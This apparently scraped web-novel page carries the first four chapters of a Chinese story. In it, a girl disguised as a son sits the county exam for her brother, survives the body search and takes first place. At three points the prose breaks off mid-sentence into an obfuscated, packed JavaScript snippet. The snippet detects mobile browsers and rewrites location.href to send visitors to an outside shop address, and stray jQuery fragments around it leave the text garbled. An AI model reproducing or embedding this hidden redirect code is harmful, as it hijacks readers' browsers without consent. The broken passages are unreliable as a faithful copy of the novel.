《青梧载道》 1. 替考 江南的雨季总是来得绵长。 谢青梧跪在祠堂冰硬的石板上,已经两个时辰了。膝盖从刺痛到麻木,最后只剩下一片钝钝的沉。祠堂里只点了一盏灯,昏黄的光晕在祖宗牌位间跳跃,那些描金的字忽明忽暗,像是许多双眼睛在俯视着她。 门外有脚步声。 很轻,是女子的绣鞋踩在青砖上的声音。春杏端着热水进来时,眼睛红得厉害。 “公子……”她蹲下身,声音压得极低,“您就服个软吧,再跪下去,腿要废了。” 谢青梧没动。她看着供桌最下层那个新添的牌位,谢门林氏。那是她生母,三天前刚去。死于一场来势汹汹的风寒,也死于这深宅里经年累月的冷落。 “废不了。”她开口,声音有些哑,是刻意压低的少年音色,“他们还需要我去考试。” 春杏的泪一下子就掉下来了。 是啊,考试。 谢家的嫡长子谢明远,三日前突发急症,上吐下泻,如今还躺在床上起不来身。而三天后,就是县试开考的日子。 谢家这一辈,就两个“儿子”。嫡子谢明远,庶子谢怀瑾——也就是女扮男装的谢青梧。 “可是公子,”春杏声音发颤,“万一,万一被人发现……” “不会。”谢青梧说得平静。她维持这个身份十四年了,从记事起就知道自己是“谢怀瑾”,是谢家的庶子。束胸,压嗓,学男子的举止步态,这些事她做了十年。连她自己有时候都会恍惚,好像生来就该是这样。 祠堂外又传来脚步声。 这次很重,是男子的靴子声。门被推开,嫡母王氏站在门口,身后跟着两个婆子。她穿着深紫色的缎子袄,鬓边簪着金钗,脸上的神色比祠堂里的牌位还冷。 “想明白了没有?”王氏走进来,居高临下地看着跪在地上的人。 谢青梧抬起头:“母亲想让我明白什么?” “明白你该做什么。”王氏在旁边的太师椅上坐下,婆子立刻递上热茶,“明远病着,县试不能耽误。你是谢家子,该为家族出力。” 话说得冠冕堂皇。 谢青梧心里却清楚得很。谢明远那病来得蹊跷,十有八九是怕考不上丢人,故意把自己弄病的。而王氏要的,是谢家必须出一个有功名的人,不管这个人是嫡是庶。 “儿子愿意去考。”谢青梧说。 王氏脸上露出一丝满意的神色。 “但是,”谢青梧接着说,“儿子有三个条件。” 王氏的笑意僵住了。 “你说。” “第一,县试之后,我要搬出谢家,自立门户。”谢青梧的声音很稳,每个字都咬得清楚,“第二,我的户籍要单独立出来,名字就写谢怀瑾。第三——” 她顿了顿,看向那个新牌位。 “我娘要进祖坟,碑上刻正名,不能只写林氏。” 祠堂里静得可怕。 春杏吓得连呼吸都屏住了。那两个婆子低着头,恨不得自己没长耳朵。王氏盯着谢青梧,眼神像刀子一样刮过来。 许久,王氏才慢慢开口:“你是在跟我谈条件?” “儿子不敢。”谢青梧垂下眼睛,“只是既然要替谢家争功名,总该有些底气。不然考场上心神不宁,写不出好文章,反倒辜负了母亲的期望。” 这话说得客气,意思却明白,你不答应,我就考不好。 王氏冷笑一声:“你倒是会算计。” 她站起身,走到供桌前,拿起三炷香点燃,插进香炉里。青烟袅袅升起,模糊了牌位上的字。 “我答应你。”王氏背对着她说,“但你也记住,若是考不上,或是露了馅——” 她转过身,烛光在她脸上投下深深的阴影。 “你知道后果。” 谢青梧叩了个头:“儿子明白。” 王氏走了。祠堂里又只剩下谢青梧和春杏两个人。春杏这才敢大口喘气,慌忙去扶她:“公子,快起来,腿……” “扶我去我娘院里。”谢青梧借着她的力站起身,膝盖刺痛得让她眼前发黑,但她咬着牙没出声。 林姨娘生前住的院子很偏,离主院隔着一整个花园。如今人走了,院里更显冷清,只有廊下挂着一盏白灯笼,在风里晃。 谢青梧推开卧房的门。 屋里还保持着原样。一张简单的木床,一个梳妆台,一个衣柜。梳妆台上放着个木匣子,没上锁。谢青梧走过去打开,里面是几件不值钱的首饰,还有一本旧书。 书是《诗经》,纸页泛黄,边角都磨毛了。那是林姨娘生前最爱看的,她说女子读不懂经史子集,但总该知道“关关雎鸠”是什么意思。 谢青梧拿起书,翻开第一页。 扉页上有一行小字,是林姨娘的笔迹,写得有些歪斜,大概是病中写的:“梧儿,娘只愿你平安。” 她盯着那行字看了很久。 春杏在一旁小声说:“姨娘去之前,一直念着公子。她说对不起您,让您生为女儿身,却要过这样的日子……” “不。”谢青梧合上书,“她给了我一条活路。” 如果不是从小被当成男孩养大,她或许早就被随便许给哪个人家做妾,或是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946667|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像这宅子里其他庶女一样,关在后院等着被安排命运。 而现在,她至少能去考试。 能走出去。 “春杏。”她把书放回匣子里,“去把我那些备考的书都收拾出来。还有,把我前些日子做的束胸衣拿出来,再检查一遍。” 春杏应了声,犹豫着问:“公子,您真的要去考吗?万一……” “没有万一。”谢青梧望向窗外。雨还在下,细细密密的,把庭院里的青石板洗得发亮。 “我要去考。” 不仅要考,还要考好。 谢家需要一个功名,她也需要。那是她脱离这个牢笼的唯一机会,是她能堂堂正正站在阳光下的第一步。 至于以后—— 她想起去年偷偷溜出府,在街市上看到的那些女子。卖花的姑娘被醉汉调戏不敢吭声,布庄的老板娘被丈夫当众打骂,桥头有个妇人抱着孩子在哭,听说是生不出儿子被休了。 这世道对女子太苛刻。 她想做点什么。 哪怕只是很小的一点改变。 “公子。”春杏抱着书和衣服回来,眼圈又红了,“您一定要小心。” 谢青梧接过那件特制的束胸衣。白色的细棉布,里层加了软革,边缘缝得密密实实。她摸了摸,确认没有任何破绽。 “我知道。”她说。 窗外传来打更的声音。 三更天了。 离天亮还有两个时辰,离县试开考还有三天。 时间很紧。 但够用了。 谢青梧换上衣衫,对镜整理仪容。镜中的少年眉眼清秀,身形单薄,但因为刻意训练的挺拔姿态,并不显得女气。她试着笑了笑,嘴角扬起的弧度恰到好处,温和而不失力度。 像读书人该有的样子。 像谢怀瑾该有的样子。 “春杏。”她转身,“我娘那本《诗经》,帮我收好。” “公子要带着?” “不带。”谢青梧说,“等我考完了,回来取。” 等她有了功名,有了自立门户的资格,就能正大光明地把母亲的牌位请进祖坟,把母亲的遗物好好保管。 而不是像现在这样,连一本旧书都要藏着掖着。 雨渐渐小了。 天边泛起一点灰白。 谢青梧吹熄了灯,走出房门。祠堂方向传来早起的下人打扫的声音,主院那边也有了动静。 她深吸一口气,挺直脊背,朝着自己的院子走去。脚步踏在湿漉漉的青石板上,发出清晰的声响,一步,又一步。 2. 备试 天还没亮透,春杏就醒了。 她轻手轻脚爬起来,看向里间。谢青梧已经坐在妆台前,背挺得笔直。 “公子,”春杏揉着眼睛走过去,“您一夜没睡?” “睡了会儿。”谢青梧声音有点哑,她清了清嗓子,“打盆冷水来。” 春杏打了水回来,看见谢青梧正对着一面小铜镜比划。她把长发全部束到头顶,用布条扎紧,露出完整的脖颈。 “这样行吗?”谢青梧侧过头。 春杏愣了下。 明明还是那张脸,可头发全梳上去后,轮廓硬朗了不少。尤其是那截脖颈,白皙修长,喉结处……没有喉结。 谢青梧显然也想到了这点。她伸手摸了摸自己的脖子,眉头微皱。 “得想个办法。” 春杏小声道:“要不,围个围巾?” “夏天了,围围巾更奇怪。”谢青梧放下手,“穿高领的衣服,尽量少抬头。” 她站起来,走到衣柜前。里面没几件衣服,大多是生母留下的旧衣,颜色素净。她翻了半天,找出一件浅青色的交领长衫,领子比平常的高些。 “就这件。” 春杏帮她换上。衣服有些宽大,显得人更瘦了。谢青梧把腰带系紧,在镜子前转了一圈。 “还是太……”春杏不知道怎么形容。 太秀气。太单薄。怎么看都不像个要考科举的少年郎。 谢青梧没说话。她走回妆台前,拿起一截烧剩的眉笔,那是林姨娘留下的,她一直舍不得用。就着铜镜,她开始描眉。 不是女子那种弯弯细细的眉,而是男子的剑眉。她画得很慢,一笔一笔,眉形渐渐锋利起来。 春杏在一旁看着,眼睛越睁越大。 等谢青梧放下眉笔,镜子里的人已经变了样。眉毛浓了,眼神也跟着变了,那股子柔顺劲儿没了,取而代之的是……是什么,春杏说不上来,只觉得不敢多看。 “束胸。”谢青梧说。 春杏脸一红,赶紧去拿准备好的布条。那是昨晚她们连夜改的,用旧床单撕成长条,边缘缝了软布,怕磨破皮。 谢青梧脱了外衣,只留一件中衣。春杏帮她缠的时候,手都在抖。 “紧一点。”谢青梧说。 “可是……” “紧。” 春杏咬牙,用力拉紧布条。一层,两层,三层……缠到第五层时,谢青梧呼吸已经开始发沉。 “公子,够了……” “继续。” 缠到第八层,胸前终于平坦了。谢青梧对着镜子看了看,又让春杏在肩背处多缠了两层,让身形看起来厚实些。 穿回外衣时,她额头上全是汗。 “这样行吗?”春杏担忧地问。 谢青梧没回答。她走到屋子中间,站定,深深吸了口气——吸到一半就停了,束胸勒得太紧。 她开始练习走路。 男子怎么走路?她回忆着谢明远的样子。肩要打开,背要挺直,步子要大,落脚要沉。不能像女子那样小步轻挪,更不能低头含胸。 第一次走,脚步虚浮。 第二次,好一点。 第三次,第四次……走到第十次时,春杏眼睛亮了。 “像了!” 谢青梧停住,微微喘气。她走到镜前,看着里面的自己。 青衣,束发,平胸,阔步。 还是个清瘦少年,但至少,不会让人一眼就想到女子。 “声音。”她想起最关键的事。 昨晚她就试过,把嗓音压低了说话。可压太低显得刻意,压不够又还是女声。得找个恰好的位置。 她走到窗边,推开窗。清晨的空气涌进来,带着雨后的潮湿。 “啊——” 她试着发声,从高到低。 “啊——啊——” 春杏捂住耳朵:“公子,小声点……” 谢青梧没理她。她继续试,像在找什么调子。试了快一刻钟,终于找到一个音域,不高不低,清亮中带着点沙哑,像少年变声期的嗓音。 “春杏。” “在。” “听着像男子吗?” 春杏仔细听了听,点头:“像,就是……就是有点怪。” “怪就对了。”谢青梧说,“若是太完美,反而可疑。” 她关上门,在屋里来回走动,一边走一边用新练的嗓音说话。 “在下谢怀瑾。” “学生见过先生。” “这篇文章,学生有些拙见……” 她说得很慢,每个字都刻意调整发音位置。说到后来,嗓子开始发干发痒。 春杏赶紧倒了水递过来。谢青梧喝了一口,继续练。 就这么练了一个时辰。 日头升起来的时候,外面传来脚步声。春杏脸色一变,小跑着到门边听。 “是大公子那边的人……”她回头,声音发紧。 谢青梧迅速走到书桌前坐下,拿起一本书。刚坐定,门就被敲响了。 “二公子在吗?”是个婆子的声音,语气不怎么客气。 春杏看了眼谢青梧,见她点头,才去开门。 门外站着个穿褐色衣裳的婆子,是王氏身边的周嬷嬷。她手里端着个托盘,上面放着笔墨纸砚。 “夫人让送来的。”周嬷嬷眼睛往屋里扫,“二公子准备得如何了?” 谢青梧放下书,起身拱了拱手 “有劳嬷嬷回禀母亲,学生正在温书。” 她说话时用了新练的嗓音,不高不低,清凌凌的。 周嬷嬷愣了愣,盯着她看了好几眼。 “二公子声音怎么了?” “昨夜染了风寒。”谢青梧又咳嗽两声,“不碍事。” 周嬷嬷眼神狐疑,但没再多问。她把托盘放在桌上,临走前又说:“夫人说了,这几日二公子就在院里温书,别到处走动。吃的用的,会让人送来。” 这是要软禁了。 谢青梧面色不变:“学生明白。” 等周嬷嬷走了,春杏关上门,背靠在门上,长长出了口气。 “吓死我了……” 谢青梧走到桌边,看着托盘里的东西。上好的湖笔,徽墨,宣纸。王氏这次倒是舍得下本钱。 “公子,她是不是怀疑了?”春杏小声问。 “怀疑也正常。”谢青梧拿起一支笔,在手里转了转,“突然要替考,总要看看我有没有这个本事。” “那怎么办?” “考给她看。” 谢青梧坐下,铺开纸。她没急着写,而是闭眼想了想。 县试考什么?四书文,试帖诗,还有策论。四书文她倒背如流,试帖诗也不难。最难的是策论,要结合时务,要有见解。 她睁开眼,蘸墨,落笔。 题目是现想的:论农桑为本。 这是最常见的题目,也是最容易写出新意的。她写得很快,几乎不用思考。这些年偷读的那些书,那些偷偷写下的文章,此刻都化作字句,从笔尖淌出来。 春杏在一旁磨墨,不敢出声。 写到一半时,外面又传来脚步声。这次更重,还夹杂着说话声。 谢青梧笔尖一顿。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946668|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开门!我找二弟!”是谢明远的声音,中气十足,哪像什么“突发恶疾”。 春杏脸白了:“公子,他……” 谢青梧放下笔,站起身。她整理了下衣襟,确定束胸没有松动,才朝春杏点点头。 门开了。 谢明远站在外面,一身锦袍,脸色红润。他身后跟着两个小厮,都是惯常欺负谢青梧的那两个。 “二弟真是刻苦啊。”谢明远笑着走进来,眼睛在屋里扫了一圈,“为兄看看你的备考文章?” 他说话时,目光落在谢青梧脸上,带着毫不掩饰的审视。 谢青梧垂眸:“兄长病体未愈,还是该多休息。” “无妨无妨。”谢明远摆摆手,径直走到书桌前,拿起那篇写了一半的文章。 看了几行,他脸色变了。 又看几行,他抬头看谢青梧,眼神复杂。 “这是你写的?” “是。” 谢明远盯着她,像是第一次认识这个庶妹。过了好一会儿,他忽然笑了,笑得有点冷。 “写得不错。”他把文章放下,“看来母亲没选错人。” 他走近两步,离谢青梧很近。 太近了。近到谢青梧能闻到他身上的熏香味,能看见他眼里那种居高临下的神色。 “就是这身板,”谢明远伸手,拍了拍谢青梧的肩膀,“太单薄了些。” 他的手往下滑,落在谢青梧手臂上,捏了捏。 “读书人也不能太弱,对吧?” 谢青梧全身绷紧。 那只手还在往下,眼看就要碰到侧胸—— 她猛地咳嗽起来。 咳得撕心裂肺,整个人都弯下腰去,一边咳一边往后退。 “兄长……离远些……”她断断续续地说,“我这风寒……易过人……” 谢明远皱眉,下意识后退一步。 两个小厮也跟着退。 谢青梧咳了好一会儿才缓过来,眼眶都咳红了。她掏出帕子捂嘴,声音虚弱:“传染给兄长就不好了……县试在即,兄长可不能病……” 谢明远盯着她看了半晌。 “那你好好养着。”他终于说,语气有点悻悻的,“三日后,我让人送你去考场。” 他转身走了。两个小厮跟着离开,其中一个临走前还回头看了一眼。 等脚步声远了,春杏赶紧关上门。 谢青梧还弯着腰,保持着咳嗽的姿势。春杏跑过去扶她,碰到她手臂时,发现她在发抖。 不是怕的。 是气的。 “公子……”春杏声音带了哭腔。 谢青梧直起身。她脸上没什么表情。 “没事。”她说,声音已经恢复了平静。 她走到水盆边,掬水洗了把脸。冷水扑在脸上,那股发抖的劲儿慢慢压下去了。 “春杏。” “在。” “把文章写完。”谢青梧走回书桌前,重新坐下,“然后,我们继续练。” “练什么?” “练怎么当个男人。” 她提起笔,笔尖悬在纸上,墨将滴未滴。 窗外有鸟叫,清脆悦耳。 谢青梧听着那声音,想起林姨娘说过的话。姨娘说,梧儿,女子这辈子,太难了。 是啊,太难了。 所以她要走一条从来没人走过的路。 笔尖落下,字迹工整锋利: “民以食为天,农桑者,国之根本也……” 她写得认真,每一笔都用力。 好像写的不是文章,是往后余生的路。 3. 县试 天刚蒙蒙亮,谢青梧就醒了。 春杏已经准备好热水和早饭,一碗稀粥,两个馒头,一小碟咸菜。谢青梧吃得很快,吃完后仔细漱口,又用冷水洗了脸。 “东西都备齐了?”她问。 春杏点头,把考篮拿过来检查:笔墨纸砚,水囊,一小包干粮,还有一盒薄荷膏。 “周嬷嬷天没亮就送来了。”春杏小声说,“说是夫人嘱咐的。” 谢青梧打开考篮,看见最上面放着几张银票,面额不大,但足够用了。王氏想得倒是周到。 “换上吧。”她指指床上那套新衣裳。 淡青色的细布长衫,料子普通,但干净整齐。谢青梧穿上后,春杏帮她系好腰带,又把头发重新束了一遍,这次束得更紧,一丝碎发都不留。 镜子前,谢青梧最后检查了一遍。 束胸缠得平整,领口扣到最上面一颗。眉毛描得英气,脸上还特意扑了点灰,让肤色看起来暗些。她试着走了几步,步子沉稳,肩膀打开。 像了。 至少表面上像了。 “走吧。”她说。 春杏送她到院门口,眼睛红红的:“公子,您一定小心……” “放心。”谢青梧接过考篮,头也不回地往外走。 前院已经有人等着。是个面生的管事,见了她只点点头:“二公子随我来。” 马车候在侧门,不起眼的青布小车。谢青梧上去坐定,帘子放下,隔绝了外面的视线。 车轮转动,碾过青石板路。 她掀开帘子一角,看着窗外渐渐亮起来的天。街上人还不多,偶尔有赶早市的摊贩推着车经过。一切都很平常。 可她的手心在出汗。 马车停在县衙后街。管事低声说:“到了,二公子自己过去吧。考完还在这儿等。” 谢青梧下了车。 县衙前已经聚了不少人,都是来应考的学子。有的三五成群说着话,有的独自站着温书,还有的一脸紧张,不停擦汗。 她深吸一口气,提着考篮走了过去。 人群里有人看她一眼,又移开视线。她这样的清瘦少年并不显眼,扔进人堆里就找不着了。 直到一个声音响起。 “这位兄台,也是来应考的?” 谢青梧转头,看见个穿洗得发白的蓝布衫的少年,年纪和她相仿,脸上带着笑,眼神干净。 “是。”她压低嗓音回答。 “在下周子砚。”少年拱手,“青山县人。” “谢怀瑾。”她回礼,“本地人。” 周子砚眼睛亮了:“原来是同乡。谢兄看着面生,是第一次考?” “是。” “我也是。”周子砚笑起来,露出一口白牙,“心里没底,看见谢兄就觉得亲近,咱们都是头一回,互相照应着点。” 谢青梧点点头,没说话。 周子砚也不介意,自顾自说起来:“我天没亮就来了,排了半个时辰队。听说今年县试严,搜身特别仔细……” 正说着,前面队伍动了。 衙役开始吆喝:“排好队!一个个来!” 人群骚动起来。谢青梧跟着队伍往前挪,手心又冒汗了。 搜身棚就在前面,布帘子挡着,看不清里面。但能听见声音。 “解开发髻!” “张开手臂!” “鞋脱了!” 轮到的人进去,很快就出来,脸色都不太好看。有个年纪大的考生被要求脱了外衣,只穿中衣站在那儿,冻得直哆嗦。 谢青梧心跳越来越快。 束胸缠得很紧,紧到她呼吸都有点困难。但这时候不能松,一丝破绽都不能有。 前面还剩三个人。 两个。 一个。 “下一个!” 谢青梧深吸一口气,掀开帘子走进去。 棚里光线暗,只有一盏油灯。两个衙役站在那儿,一个高瘦,一个矮胖。高瘦的那个就是王二,一脸不耐烦。 “名字。”矮胖衙役问。 “谢怀瑾。” “考牌。” 谢青梧递上考牌——那是王氏昨天弄来的。 矮胖衙役看了看,没说什么,递给王二。 王二眯眼看她:“抬头。” 谢青梧抬头,目光平视。 “转一圈。” 她慢慢转了一圈,动作平稳。 王二走近了,开始搜身。手拍在她肩膀上,顺着胳膊往下,到手腕,停住。 “手伸开。” 谢青梧张开手。手心有薄茧,是常年写字磨出来的。 王二捏了捏她的手指,又往下,拍她后背,腰间。每一处都拍得很重,像是在确认什么。 谢青梧一动不动。 心跳声在耳边轰响,但她脸上什么表情都没有。 王二的手来到她胸前。 停了停。 谢青梧屏住呼吸。 就在这时候,外面突然传来喊声:“王二!磨蹭什么!后面还有几十号人呢!” 王二啧了一声,草草拍了两下她前胸,手就移开了。 “行了,进去吧。” 谢青梧提起考篮,转身往外走。步子稳,不快不慢。 掀开帘子出去时,清晨的光刺得她眯了眯眼。 过了。 她跟着引导的衙役往里走,穿过一道门,眼前是个大院子。院子里整齐排着许多小隔间,那就是号舍了。 她的号舍在中间位置,不大,刚好能坐下一个人。里面有张小桌,一把椅子,墙上有个小窗。 谢青梧走进去,放下考篮。 手还在抖。 她握住拳头,用力捏了捏,直到发抖的感觉消失。 考生陆续进场。她看见周子砚也进来了,号舍在她斜对面。周子砚朝她笑了笑,她点点头回应。 钟声响起。 考官入场了。走在前头的是个中年文士,穿青色官服,面容严肃。谢青梧认出那是主考官李庸,本县县令。 李庸走到院子中央,扫视一圈。 “县试规矩,想必诸位都清楚。”他声音洪亮,“本官只说三点。一,不得舞弊。二,不得喧哗。三,不得提前交卷。” “开考——” 试卷发下来。谢青梧接过,平铺在桌上。 第一场考四书文。题目是:“君子喻于义,小人喻于利。” 很常见的题目。她提笔蘸墨,略一思索,开始写。 笔尖落在纸上,发出沙沙的轻响。周围很安静,只有偶尔的咳嗽声,翻纸声。 她写得很快,几乎不用多想。这些句子在她心里已经滚过无数遍,现在不过是誊写出来。 写到一半时,斜对面忽然传来一声闷响。 谢青梧抬头,看见周子砚的号舍里,人影晃了晃,然后重重倒了下去。 周围考生都抬起头,有人惊呼。 衙役跑过去查看,很快喊起来:“大人!有人晕倒了!” 李庸皱眉走过来:“怎么回事?” “像是突发急症!”衙役喊,“口吐白沫了!” 李庸快步走过去。谢青梧也站起身,隔着号舍的木板,看见周子砚倒在地上,身体抽搐,牙关紧咬。 “让开!”李庸蹲下查看,脸色变了,“这是癔症,会咬断舌头!” 周围考生都慌了,有人往后退。 谢青梧看着周子砚那张因为痛苦而扭曲的脸,想起春杏说翠儿投井那晚,也是这样抽搐着沉下去。 她突然推开号舍的门,走了出去。 “你做什么!”衙役拦住她。 “我会救。”谢青梧声音不大,但清晰。 李庸抬头看她:“你会?” “家母生前有过这病,我知道怎么处置。” 李庸盯着她看了两秒,让开位置。 谢青梧快步走过去,蹲下。周子砚的牙齿咬得咯咯响,嘴角已经有血沫。她四下看了看,看见旁边号舍桌上有支毛笔。 她抓起毛笔,横着塞进周子砚嘴里。 “按住他。”她对衙役说。 两个衙役过来按住周子砚乱蹬的腿。谢青梧伸手按住他人中,用力。 一下,两下,三下。 周子砚的抽搐渐渐缓了。他睁开眼睛,眼神涣散,然后慢慢聚焦。 谢青梧松了口气,拔出毛笔。笔杆上已经留下深深的牙印。 “扶他坐起来。”她起身,对衙役说。 李庸一直看着她。 “你叫什么名字?”他问。 “学生谢怀瑾。” 李庸点点头,没说什么,转身对衙役道:“送他去后堂休息,请大夫来看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946669|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 周子砚被扶走了。临走前,他看了谢青梧一眼,眼神复杂。 谢青梧回到自己号舍,坐下。 手又有点抖。这次不是因为紧张,是因为刚才用力过度。 她活动了下手指,重新提起笔。 周围考生都在看她,眼神各异。她一概不理,埋头继续写文章。 写到收尾处,一滴汗从额角滑落,滴在纸上,正好落在“义”字旁边。 墨迹晕开一小团。 谢青梧顿了顿,看着那团污迹。 然后她提起笔,就着那团墨,勾勒几笔。 一座山的轮廓出来了。 再几笔,山下添了条河。 她在旁边继续写:“如山之重,如水之长。义者,君子之山;利者,小人之流。山不动而水流逝,故君子常存,小人易迁……” 她把那团污迹,化成了文章里的意象。 写完最后一个字,她放下笔。 钟声再次响起。 “收卷——” 衙役开始收卷子。收到谢青梧这时,那衙役多看了一眼她的卷子,看到纸上那幅小画,愣了一下。 卷子全部收走。考生们陆续起身,有的垂头丧气,有的神色轻松。 谢青梧收拾好东西,提着考篮往外走。 在门口,她遇见了李庸。 李庸正在跟师爷说话,看见她,停了停。 “谢怀瑾。”他叫住她。 “学生在。” “今日救人,做得不错。”李庸看着她,“不过考试就是考试,下次再有这种事,让衙役处置便是。” “学生明白。” 李庸又看了她一会儿,忽然问:“你那幅画,是临时起意,还是早有打算?” 谢青梧低头:“学生只是觉得,污迹亦是天意,不如顺势而为。” “顺势而为……”李庸重复了一遍,点点头,“去吧。明日第二场,别迟了。” “谢大人。” 谢青梧转身离开。 走出县衙时,天已经大亮。阳光刺眼,她眯了眯眼睛。 马车还等在老地方。她上去坐定,帘子放下,才长长吐出一口气。 后背全湿了。 她靠在车壁上,闭上眼睛。 第一天,过了。 明天还有第二场,第三场……但至少今天,她迈出了第一步。 马车摇摇晃晃往前走。 谢青梧睁开眼,掀开帘子一角,看着外面熙熙攘攘的街市。 有妇人抱着孩子在买菜,有老汉挑着担子叫卖,有姑娘结伴走过,笑声清脆。 平常的人间烟火。 她看了很久,直到眼睛有点发酸,才放下帘子。 回到谢府,春杏早在院门口等着。看见她下车,眼睛一下就红了。 “公子……” “没事。”谢青梧说,“考得还行。” 春杏接过考篮,跟着她进院,关上门,才小声问:“没出岔子吧?” “没有。”谢青梧脱下外衣,松开腰带,“就是救了个同考。” 她把事情简单说了。春杏听得脸色发白:“您也太冒险了……” “不救,他可能就死了。”谢青梧走到屏风后,开始解束胸。 布条一层层松开,呼吸终于顺畅了。她低头看了看,皮肤上已经勒出红痕。 “明天还得缠。”她低声说。 春杏端来热水,帮她擦身。水温合适,毛巾柔软,可擦到红痕处时,还是疼。 谢青梧咬着牙没出声。 擦完身,换上家常衣服,她走到书桌前坐下。 “公子不歇会儿?”春杏问。 “歇会儿,然后温书。”谢青梧翻开书,“明天考诗赋,得准备准备。” 她看了几行字,忽然想起什么。 “那个周子砚……应该没事吧。” “公子还惦记他呢。”春杏嘟囔。 谢青梧没说话。 她想起周子砚倒下去的样子,想起他那双干净的眼睛。 寒门子弟,不容易。 和她一样,想走科举这条路改变命运的人。 她摇摇头,把杂念甩开,继续看书。 窗外日头渐渐西斜。 谢青梧的影子投在墙上,拉得很长。 安静,坚定。 4. 放榜 放榜那天,春杏天没亮就醒了。 她轻手轻脚爬起来,看见谢青梧已经坐在窗前,手里拿着本书,半天没翻一页。 “公子,”春杏小声问,“您也紧张?” 谢青梧合上书:“说不紧张是假的。” 三天考试,她每一场都尽了全力。四书文写得工整,诗赋也还过得去,策论那道“论农桑为本”,她更是把这些年偷看的那些书,那些冷夜里写的文章,都融了进去。 可结果如何,终究不由她定。 “早饭吃什么?”春杏转移话题,“粥还是面?” “都不想吃。”谢青梧站起来,“换衣服吧,早点去。” 还是那件淡青色长衫,束胸缠得比考试时松了些,但依然平整。春杏帮她束发时,手有点抖。 “别紧张。”谢青梧反倒安慰她,“中了是运,不中也是命。” 话是这么说,可她知道,不中的话,王氏那边就不好交代了。 收拾妥当,出门。 天刚蒙蒙亮,街上已经有人了。卖早点的摊子支起来,热气腾腾的。谢青梧没坐车,走着去的。她想走走,理理思绪。 县衙门口早就聚满了人。 黑压压一片,都是来看榜的考生和家人。有人搓着手来回踱步,有人仰着脖子往墙上张望——虽然榜还没贴出来。 谢青梧找了个角落站着,离人群稍远些。 她看见周子砚也在,还是那身洗得发白的蓝布衫,站在人群最前面,脖子伸得老长。 “谢兄!” 周子砚看见她,挤过来,脸上带着笑:“你也来这么早。” “睡不着。”谢青梧实话实说。 “我也是。”周子砚搓搓手,“昨天一宿没睡好,梦里全是考试的事。对了,那天多谢你救我,大夫说再晚一点,我可能就……” 他顿住,没往下说,只是郑重地拱了拱手。 “举手之劳。”谢青梧回礼。 “对你来说是举手之劳,对我可是救命之恩。”周子砚认真道,“等放榜后,无论如何,我请你吃顿饭。” 正说着,县衙大门开了。 人群骚动起来。 两个衙役走出来,一个端着浆糊桶,一个捧着卷起来的红纸。他们在照壁前站定,刷浆糊,贴榜。 动作很慢。 慢得让人心焦。 红纸展开,第一排名字露出来。有人已经念出声:“第一名,谢怀瑾——” 谢青梧呼吸一滞。 周围瞬间安静了,所有人都往榜上看。 红纸继续展开,完整的榜单露出来。密密麻麻的名字,按名次排列。 谢怀瑾三个字,赫然排在首位。 案首。 谢青梧站在原地,没动。 耳边传来各种声音。有叹息,有欢呼,有不敢置信的嘀咕。周子砚猛拍她肩膀:“谢兄!案首!你是案首!” 她这才回过神。 “我……看见了。” 声音有点哑,她清了清嗓子。 “恭喜谢兄!”周围有认识不认识的考生都围过来,拱手道贺。案首啊,县试第一,这可不是小事。 谢青梧一一回礼,脸上带着恰到好处的笑,不张扬,也不过分谦虚。 她看向榜单,往下找。 找到了。周子砚,第二十七名。中了。 周子砚自己也看见了,愣在那里,嘴唇动了动,没说出话。眼圈却红了。 “恭喜。”谢青梧对他说。 周子砚用力点头,声音哽咽:“中了……我中了……我娘要是知道……” 他没说下去,抬手用力抹了把脸。 人群渐渐散去,有中的欢天喜地,没中的垂头丧气。谢青梧正准备走,一个衙役走过来。 “谢怀瑾谢公子?” “正是。” “县令大人请您去后堂一趟。” 谢青梧心头一跳。 周子砚担忧地看着她。她摇摇头,示意没事,跟着衙役往里走。 穿过前衙,来到后堂。李庸已经等在那里,换了身常服,正端着茶盏喝茶。 “学生见过大人。”谢青梧行礼。 李庸放下茶盏,打量她。 “坐。” 谢青梧在旁边的椅子上坐下,只坐半边,背挺直。 “你今年多大?”李庸问。 “十四。” “十四岁的案首。”李庸点点头,“文章我看了,写得不错。尤其是那篇策论,‘农桑为本’,切入点很好,条理也清晰。” “谢大人夸奖。” “不过——”李庸话锋一转,“有句话我得问问你。” 谢青梧抬眼。 “你那句‘妇功桑织亦为国用’,是什么意思?” 来了。 谢青梧早有准备。她当时写的时候就知道,这句话可能会引人注意。女子之事,本不该出现在科举文章里。 “学生以为,”她缓缓道,“农桑之事,不止男子田间劳作。女子采桑养蚕,纺线织布,亦是生产。若只计男工,不计女工,则国用统计不全,政策或有偏颇。” 